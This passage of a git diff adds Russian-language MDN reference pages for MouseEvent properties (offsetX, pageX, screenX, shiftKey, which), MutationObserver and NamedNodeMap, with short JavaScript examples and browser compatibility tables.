+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.mozPressure", "mozPressure")}} and {{domxref("MouseEvent.mozInputSource", "mozInputSource")}} {{non-standard_inline}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}</td>
+   <td>{{CompatGeckoDesktop(11)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.region")}}</td>
+   <td>{{CompatGeckoDesktop(32)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.offsetX")}}, and {{domxref("MouseEvent.offsetY")}}{{experimental_inline}}</td>
+   <td>{{CompatGeckoDesktop(40)}}</td>
+   <td>9</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Посмотрите_также">Посмотрите также</h2>
+
+<ul>
+ <li>Its direct parent, {{domxref("UIEvent")}}.</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/offsetx/index.html b/files/ru/web/api/mouseevent/offsetx/index.html
new file mode 100644
index 0000000000..92b2f0105e
--- /dev/null
+++ b/files/ru/web/api/mouseevent/offsetx/index.html
@@ -0,0 +1,122 @@
+---
+title: MouseEvent.offsetX
+slug: Web/API/MouseEvent/offsetX
+tags:
+  - API
+  - MouseEvent
+  - Property
+  - Read-only
+translation_of: Web/API/MouseEvent/offsetX
+---
+<p>{{APIRef("DOM Events")}}{{SeeCompatTable}}</p>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Свойство </font><strong>MouseEvent.offsetX</strong></code>, доступное только для чтения,<code> показывает отступ курсора мыши по оси X от края целевого DOM узла.</code></p>
+
+<p> </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var xOffset = <em>instanceOfMouseEvent</em>.offsetX;
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Значение с плавающей запятой - double. Ранние версии спецификации определяли возвращаемое значение как целое число. Подробнее смотрите в разделе про совместимость с браузерами.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Характеристка</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-mouseevent-offsetx', 'MouseEvent')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>6</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Переопределено с <code>long</code> на <code>double</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("43.0")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Переопределено с <code>long</code> на <code>double</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/pagex/index.html b/files/ru/web/api/mouseevent/pagex/index.html
new file mode 100644
index 0000000000..ca9b24d6b9
--- /dev/null
+++ b/files/ru/web/api/mouseevent/pagex/index.html
@@ -0,0 +1,124 @@
+---
+title: MouseEvent.pageX
+slug: Web/API/MouseEvent/pageX
+translation_of: Web/API/MouseEvent/pageX
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code><font face="Open Sans, arial, x-locale-body, sans-serif">MouseEvent.</font>pageX</code></strong> - это свойство {{domxref("MouseEvent")}} доступное только для чтения. Данное свойство возвращает значение равное горизонтальной координате, относительно всего документа. Это свойство учитывает любую горизонтальную прокрутку страницы. Первоначально это свойство было определено как длинное целое число. Модуль просмотра CSSOM переопределил его как double float. Подробнее см. Раздел «Совместимость с браузером».</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>pos</em> = <em>event</em>.pageX</pre>
+
+<h2 id="Syntax" name="Syntax">Примеры</h2>
+
+<pre><em>var pageX</em> = <em>event</em>.pageX;
+pageX === event.clientX + (window.pageYOffset || document.body.scrollTop);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-mouseevent-pagex', 'pageX')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Redefined from <code>long</code> to <code>double</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events', '#widl-Touch-pageX', 'pageX')}}</td>
+   <td>{{Spec2('TouchEvents')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Redefined from <code>long</code> to <code>double</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile" style="line-height: 19.0909080505371px;">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Redefined from <code>long</code> to <code>double</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также"><strong>Смотрите также</strong></h2>
+
+<ul>
+ <li>{{domxref("UIEvent.pageX")}}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/screenx/index.html b/files/ru/web/api/mouseevent/screenx/index.html
new file mode 100644
index 0000000000..3dfb626393
--- /dev/null
+++ b/files/ru/web/api/mouseevent/screenx/index.html
@@ -0,0 +1,93 @@
+---
+title: MouseEvent.screenX
+slug: Web/API/MouseEvent/screenX
+translation_of: Web/API/MouseEvent/screenX
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p><strong><code>screenX</code></strong> - read-only свойство интерфейса события {{domxref("MouseEvent")}}, соответствующее горизонтальной координате (смещению) указателя мыши в глобальных (экранных) координатах.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>x</em> = <em>instanceOfMouseEvent</em>.screenX
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Значение с плавающей точкой типа <code>double</code>. В ранних версиях этой спецификации определялось как целое число, соответсвующее количеству пикселей. Подробнее см. раздел "Совместимость с браузерами". </p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этом примерер демонстрирует координаты вашей мыши в случае получения события {{Event("mousemove")}}.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Подвигайте мышью, чтобы увидеть положение ее курсора.&lt;/p&gt;
+&lt;p id="screen-log"&gt;&lt;/p&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">let screenLog = document.querySelector('#screen-log');
+document.addEventListener('mousemove', logKey);
+
+function logKey(e) {
+  screenLog.innerText = `
+    Screen X/Y: ${e.screenX}, ${e.screenY}
+    Client X/Y: ${e.clientX}, ${e.clientY}`;
+}</pre>
+
+<h4 id="Результат_выполнения">Результат выполнения</h4>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h3 id="Обработка_события">Обработка события</h3>
+
+<p>Когда вы отлавливаете события на окне, документе или других элементах, имеющих размер, вы можете получить координаты этого события (например, клика), и обработать его соответсвующим образом, например, так, как в этом примере:</p>
+
+<pre class="brush: js">function checkClickMap(e) {
+  if (e.screenX &lt; 50) doRedButton();
+  if (50 &lt;= e.screenX &amp;&amp; e.screenX &lt; 100) doYellowButton();
+  if (e.screenX &gt;= 100) doRedButton();
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View','#dom-mouseevent-screenx', 'screenX')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Переопределяет {{domxref("MouseEvent")}} из long в double.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-MouseEvent-screenX','MouseEvent.screenX')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Нет изменений ср. с {{SpecName('DOM2 Events')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.sceenX')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице составлена автоматически автоматически. Если вы хотите дополнить или исправить эту таблицу, выполните команду git checkout для <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и затем pull request.</div>
+
+<p>{{Compat("api.MouseEvent.screenX")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+ <li>{{ domxref("MouseEvent.screenY","screenY") }}</li>
+ <li>{{ domxref("MouseEvent.clientX","clientX") }} / {{ domxref("MouseEvent.clientY", "clientY") }}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/shiftkey/index.html b/files/ru/web/api/mouseevent/shiftkey/index.html
new file mode 100644
index 0000000000..81aebded0e
--- /dev/null
+++ b/files/ru/web/api/mouseevent/shiftkey/index.html
@@ -0,0 +1,126 @@
+---
+title: MouseEvent.shiftKey
+slug: Web/API/MouseEvent/shiftKey
+translation_of: Web/API/MouseEvent/shiftKey
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>MouseEvent.shiftKey</code></strong>атрибут только для чтения , кторый указывает была ли нажата клваиша <kbd>shift</kbd>  . Возвращает (<code>true</code>) если нажата <kbd>shift</kbd>, (<code>false</code>) если нет.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>shiftKeyPressed</em> = <em>instanceOfMouseEvent</em>.shiftKey
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Логический</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;shiftKey example&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function showChar(e){
+  alert(
+    "Key Pressed: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "SHIFT key pressed: " + e.shiftKey + "\n"
+    + "ALT key pressed: " + e.altKey + "\n"
+  );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onkeypress="showChar(event);"&gt;
+&lt;p&gt;Нажмите на любую символьную клавишу удерживая или не удерживая клавишу SHIFT.&lt;br /&gt;
+Вы также можете использовать клавишу SHIFT вместе с клавишей ALT.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-MouseEvent-shiftKey','MouseEvent.shiftKey')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>No change from {{SpecName('DOM2 Events')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.shiftKey')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотри также</h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/which/index.html b/files/ru/web/api/mouseevent/which/index.html
new file mode 100644
index 0000000000..83e4984abe
--- /dev/null
+++ b/files/ru/web/api/mouseevent/which/index.html
@@ -0,0 +1,47 @@
+---
+title: MouseEvent.which
+slug: Web/API/MouseEvent/which
+tags:
+  - API
+  - "События\_DOM"
+translation_of: Web/API/MouseEvent/which
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>{{Non-standard_header}}</p>
+
+<p><strong><code>MouseEvent.which</code></strong> это свойство только для чтения которое показывает какая именно кнопка мыши вызвала событие MouseEvent. Стандартная альтернатива этому свойству – {{ domxref("MouseEvent.button") }} и {{ domxref("MouseEvent.buttons") }}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>buttonPressed</em> = <em>instanceOfMouseEvent</em>.which
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Значения соответствующие кнопкам:</p>
+
+<ul>
+ <li><code>0</code>: Нет кнопки</li>
+ <li><code>1</code>: Левая кнопка</li>
+ <li><code>2</code>: Средняя (если есть)</li>
+ <li><code>3</code>: Права кнопка</li>
+</ul>
+
+<p>Для мыши настроенной для левшей порядок значений будет изменён. В этом случае значению <code>1</code> будет соответствовать правай кнопка, а <code>3</code> – левая.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Это свойство не является частью спецификации.</p>
+
+<h2 id="Совместимость_с_бразуерами">Совместимость с бразуерами</h2>
+
+
+
+<p>{{Compat("api.MouseEvent.which")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+</ul>
diff --git a/files/ru/web/api/mutationobserver/index.html b/files/ru/web/api/mutationobserver/index.html
new file mode 100644
index 0000000000..61a16f69f0
--- /dev/null
+++ b/files/ru/web/api/mutationobserver/index.html
@@ -0,0 +1,176 @@
+---
+title: MutationObserver
+slug: Web/API/MutationObserver
+tags:
+  - API
+  - Advanced
+  - DOM
+  - DOM Reference
+  - NeedsContent
+  - NeedsUpdate
+  - Reference
+translation_of: Web/API/MutationObserver
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code>MutationObserver</code> предоставляет возможность получать уведомления об изменении определённых <a href="/en-US/docs/DOM">DOM</a>-элементов. <code>MutationObserver</code> является заменой <a href="/en-US/docs/DOM/Mutation_events">Mutation Events</a>, определённой в спецификации DOM3 Events.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("MutationObserver.MutationObserver", "MutationObserver()")}}</dt>
+ <dd>Создает и возвращает новый <code>MutationObserver</code>, который вызовет определенную функцию обратного вызова при изменении в DOM.</dd>
+</dl>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Вызывается при каждом изменении DOM-элемента. Обзёрвер вызывает данную функцию с двумя аргументами. Первым аргументом является массив объектов <a href="/en-US/docs/Web/API/MutationRecord">MutationRecord</a>, вторым аргументом является экземпляр <code>MutationObserver.</code></dd>
+</dl>
+
+<h2 id="Методы_экземпляра">Методы экземпляра</h2>
+
+<dl>
+ <dt>{{domxref("MutationObserver.disconnect", "disconnect()")}}</dt>
+ <dd>Прекращает получение уведомлений об изменении DOM-элемента экземпляром <code>MutationObserver</code>, до того момента пока не будет вызван метод <a href="#observe()">observe()</a>.</dd>
+ <dt>{{domxref("MutationObserver.observe", "observe()")}}</dt>
+ <dd>Подписывает экземпляр <code>MutationObserver</code> на получение уведомлений о манипуляциях с DOM-элементом.</dd>
+ <dt>{{domxref("MutationObserver.takeRecords", "takeRecords()")}}</dt>
+ <dd>Возвращает текущий {{jsxref("Array")}} очереди экземпляра <code>MutationObserver</code>, затем очищает её.</dd>
+</dl>
+
+<h2 id="MutationObserverInit"><code>MutationObserverInit</code></h2>
+
+<p><code>MutationObserverInit</code> — объект, который может содержать следующие свойства:</p>
+
+<div class="note"><strong>Примечание:</strong> Так или иначе необходимо установить <code>true</code> для одного из следующих cвойств: <code>childList</code>, <code>attributes</code>, <code>characterData</code>. В противном случае будет вызвана ошибка "An invalid or illegal string was specified"</div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>childList</code></td>
+   <td>
+    <p>true, если необходимо наблюдать за добавлением или удалением дочерних элементов (Включая текстовые узлы (text nodes))</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>attributes</code></td>
+   <td>
+    <p>true, если необходимо наблюдать за изменениями атрибутов целевого элемента.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>characterData</code></td>
+   <td>
+    <p>true, если необходимо наблюдать за изменениями значения текстового содержимого целевого узла (текстовых узлов дочернего элемента).</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>subtree</code></td>
+   <td>
+    <p>true, если необходимо наблюдать за потомками целевого элемента. </p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>attributeOldValue</code></td>
+   <td>
+    <p>true, если необходимо возвращать предыдущее значение атрибута. </p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>characterDataOldValue</code></td>
+   <td>
+    <p>true, если необходимо возвращать предыдущее значение Data атрибута. </p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>attributeFilter</code></td>
+   <td>
+    <p>Устанавливает массив названий атрибутов (без указания пространства имен), если требуется наблюдать за изменениями конкретных атрибутов. </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Mutation_Observer_customize_resize_event_listener_demo">Mutation Observer &amp; customize resize event listener &amp; demo</h2>
+
+<p><a href="https://codepen.io/webgeeker/full/YjrZgg/">https://codepen.io/webgeeker/full/YjrZgg/</a></p>
+
+<h2 id="Пример_использования">Пример использования</h2>
+
+<p>Приведённый ниже пример взят из <a href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/">этого блога</a>.</p>
+
+<pre class="brush: js">// Выбираем целевой элемент
+var target = document.getElementById('some-id');
+
+// Конфигурация observer (за какими изменениями наблюдать)
+const config = {
+    attributes: true,
+    childList: true,
+    subtree: true
+};
+
+// Функция обратного вызова при срабатывании мутации
+const callback = function(mutationsList, observer) {
+    for (let mutation of mutationsList) {
+        if (mutation.type === 'childList') {
+            console.log('A child node has been added or removed.');
+        } else if (mutation.type === 'attributes') {
+            console.log('The ' + mutation.attributeName + ' attribute was modified.');
+        }
+    }
+};
+
+// Создаем<code> </code>экземпляр наблюдателя с указанной функцией обратного вызова
+const observer = new MutationObserver(callback);
+
+// Начинаем наблюдение за настроенными изменениями целевого элемента<code>
+observer.observe(target, config);
+
+</code>// Позже можно остановить наблюдение<code>
+observer.disconnect();</code>
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#mutationobserver', 'MutationObserver')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#mutationobserver', 'MutationObserver')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.MutationObserver")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref('PerformanceObserver')}}</li>
+ <li>{{domxref('ResizeObserver')}}</li>
+ <li>{{domxref('IntersectionObserver')}}</li>
+ <li><a href="http://updates.html5rocks.com/2012/02/Detect-DOM-changes-with-Mutation-Observers" rel="freelink">Краткий обзор</a></li>
+ <li><a href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">Более детальное обсуждение</a></li>
+ <li><a href="http://www.youtube.com/watch?v=eRZ4pO0gVWw" rel="freelink">Скринкаст от разработчика Chromium Rafael Weinstein</a></li>
+</ul>
diff --git a/files/ru/web/api/namednodemap/getnameditem/index.html b/files/ru/web/api/namednodemap/getnameditem/index.html
new file mode 100644
index 0000000000..26cc894bf8
--- /dev/null
+++ b/files/ru/web/api/namednodemap/getnameditem/index.html
@@ -0,0 +1,24 @@
+---
+title: NamedNodeMap.getNamedItem()
+slug: Web/API/NamedNodeMap/getNamedItem
+translation_of: Web/API/NamedNodeMap/getNamedItem
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Метод <code><strong>getNamedItem()</strong></code> интерфейса {{domxref ("NamedNodeMap")}} возвращает значение {{domxref ("Attr")}}, соответствующее заданному имени, или значение null, если соответствующий атрибут отсутствует.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>myAttr</em> = attrs.getNamedItem(<em>name</em>)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<ul>
+ <li><code>name</code> имя нужного атрибута</li>
+</ul>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NamedNodeMap.getNamedItem")}}</p>
diff --git a/files/ru/web/api/namednodemap/index.html b/files/ru/web/api/namednodemap/index.html
new file mode 100644
index 0000000000..8ad92f6fa1
--- /dev/null
+++ b/files/ru/web/api/namednodemap/index.html
@@ -0,0 +1,88 @@
+---
+title: NamedNodeMap
+slug: Web/API/NamedNodeMap
+translation_of: Web/API/NamedNodeMap
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Интерфейс <code><strong>NamedNodeMap</strong></code> представляет собой коллекцию объектов {{domxref("Attr")}}. Объекты внутри <code>NamedNodeMap</code> не находятся в каком-либо определенном порядке, в отличие от {{domxref("NodeList")}}, хотя они могут быть доступны при использовании индекса, как в массиве.</p>
+
+<p>Объект NamedNodeMap является "живым" и, таким образом, будет автоматически обновляться, если изменения будут внесены в его содержимое внутри или в другом месте.</p>
+
+<div class="note">
+<p>Хотя данный интерфейс и  назвается <code>NamedNodeMap</code> , он не имеет ничего общего с объектом {{domxref("Node")}}, но до сих пор связан с объектом {{domxref(" Attr ")}}, который изначально был специализированным классом {{domxref("Node")}}.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p>Этот интерфейс не наследует никаких свойств.</p>
+
+<dl>
+ <dt>{{domxref("NamedNodeMap.length")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает количество объектов внутри объекта NamedNodeMap.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p>Этот интерфейс не наследует никакого метода.</p>
+
+<dl>
+ <dt>{{domxref("NamedNodeMap.getNamedItem()")}}</dt>
+ <dd>Возвращает значение {{domxref ("Attr")}}, соответствующее данному имени.</dd>
+ <dt>{{domxref("NamedNodeMap.setNamedItem()")}}</dt>
